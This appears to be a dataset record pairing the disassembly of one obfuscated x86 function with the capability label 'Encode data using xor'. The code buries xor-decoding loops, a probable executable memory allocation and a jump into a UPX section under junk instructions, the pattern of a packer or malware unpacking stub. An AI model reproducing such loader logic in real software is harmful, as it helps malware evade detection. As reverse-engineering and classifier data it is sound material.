Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xac7f4d93
sub esi, edi
mov esi, 0xe251236b
popal
add esi, edi
and esi, esi
mov eax, 0
mov ebx, ecx
not edi
add edi, 0xb1d29582
and edx, edi
mov esi, ebx
mov edi, edx
not edx
add edi, edi
mov ecx, esi
sub edx, 1
add edx, 0x7e8f761a
inc eax
add edi, edi
mov edi, 0x36995522
cmp eax, 0x10062cf
jne 0xa789c3
sub edi, edx
sub edi, 0x1b0657c5
and edx, edx
sub edi, esi
inc esi
add edi, 0xb6999c7a
mov esi, 0xa78796
mov ecx, 0xfb8142b6
dec edx
mov edi, 0xa7898a
add ecx, 0x6c7ab7d7
sub ecx, 0x79c7a866
mov ebx, dword [esi]
mov edx, eax
sub edx, 0xd9641359
and ebx, 0xff
add edx, edx
dec eax
add ecx, ecx
xor dword [edi], ebx
sub ecx, 0xef21ec38
mov eax, ecx
inc edi
mov eax, ecx
or edx, edx
inc esi
sub eax, 0x4ad4b8ab
sub ecx, eax
cmp edi, entry0
jl 0xa78a28
mov eax, edx
add ecx, edx
and edx, eax
or ecx, edx
and eax, eax
add ecx, edx
add ecx, edi
mov esi, 0xa7898e
mov ebx, 0xe26149af
dec ecx
mov esi, dword [esi]
add ebx, 0xabf50da3
mov edi, ecx
mov ecx, 0x20ad166
mov esi, dword [esi]
sub ecx, 0xf19c8c17
add ecx, ecx
not ecx
push esi
add ecx, 0xe1f9699a
not ebx
mov esi, 0xa7898a
sub edx, ecx
mov edi, ebx
mov esi, dword [esi]
or ebx, ecx
add edx, ecx
mov esi, dword [esi]
mov edi, ebx
sub ecx, edi
push 0xa78992
and ebx, edi
sub edx, edi
call esi
add edx, 0xd8414f20
inc edi
inc edx
pop esi
or edi, edx
dec ebx
add edi, 0x95e924f4
push 0xa7899f
sub edx, edi
add ebx, edi
and ecx, ebx
push eax
sub edi, 0x10f07cda
add ecx, 1
add ebx, 0xaedf73a3
call esi
dec edx
sub edx, edi
add edx, ecx
push 0x40
or ebx, ecx
or edx, edx
sub ecx, edx
sub esp, 4
mov dword [esp], 0x3000
dec ebx
and ebx, ecx
push 0x20000383
add ebx, ecx
add ebx, edi
push 0
add ecx, 0x38d330c8
mov ebx, 0xc53e38b2
call eax
add edi, ebx
dec edi
add eax, 0x200002bf
sub edx, 0x7d344a9a
mov edi, 0x278eb837
mov esi, 0xe9bceedf
mov edi, 0x824ade74
sub edi, 1
or edx, ecx
mov dword [eax], esi
sub ebx, 0x384b0868
not edx
sub edi, 0x4185b
mov esi, dword [eax]
sub edx, 1
sub ecx, 1
mov edi, 0x1fff4d9e
cmp esi, 0xe9bceedf
je 0xa78b80
mov edx, 0
mov byte [edx], cl
add ecx, 0x4e135c99
or edi, edx
mov edi, ecx
or edx, edx
mov esi, edi
not esi
sub edi, 0xdfc8d46f
mov ebx, section.UPX1
and esi, esi
add edi, 0xfdce1d50
mov edx, 0xa78795
or esi, edi
not esi
mov ecx, 0
mov edi, 0xe7298218
mov edi, esi
mov eax, 0xa78796
sub edi, esi
mov edi, esi
lea eax, [ecx + eax]
sub esi, edi
not edi
mov eax, dword [eax]
sub edi, 0x7f067338
or esi, edi
and esi, edi
and eax, 0xff
inc edi
mov edi, esi
inc ecx
mov esi, 0xed6e1a0f
not esi
not edi
cmp ecx, 0x1f4
jne 0xa78bf4
mov ecx, 0
dec edi
not esi
add esi, 0xf6a4a076
sub esi, 0x6b8ef2dd
xor dword [ebx], eax
and edi, esi
add edi, esi
add ebx, 2
add edi, edi
add esi, 0x64234001
dec edi
cmp ebx, edx
jl 0xa78bb8
add esi, 0xd1e08cc3
mov esi, edi
and esi, edi
inc esi
mov ecx, section.UPX1
sub ebx, 1
mov edi, 0xdd60363
mov esi, section.UPX1
or ebx, ebx
add edi, 0xd08f0003
mov eax, 0xa78795
sub edi, ebx
sub ebx, 0x1d2839cd
dec edi
mov edx, 0
add edi, 0x944fa8c3
mov ebx, 0xfee50907
mov dl, byte [esi]
not ebx
add edi, 1
mov byte [ecx], dl
sub ebx, edi
add ebx, edi
sub ebx, 0x1f69378a
inc ecx
mov edi, 0x52fbb53c
mov ebx, 0x63f6062
add esi, 2
sub ebx, edi
mov edi, ebx
cmp esi, eax
jle 0xa78c66
mov edi, ebx
mov edi, ebx
add edi, esi
add esi, edi
sub esp, 4
mov dword [esp], 0x8dc6a0
mov esi, 0xc3fb7b98
or esi, edi
ret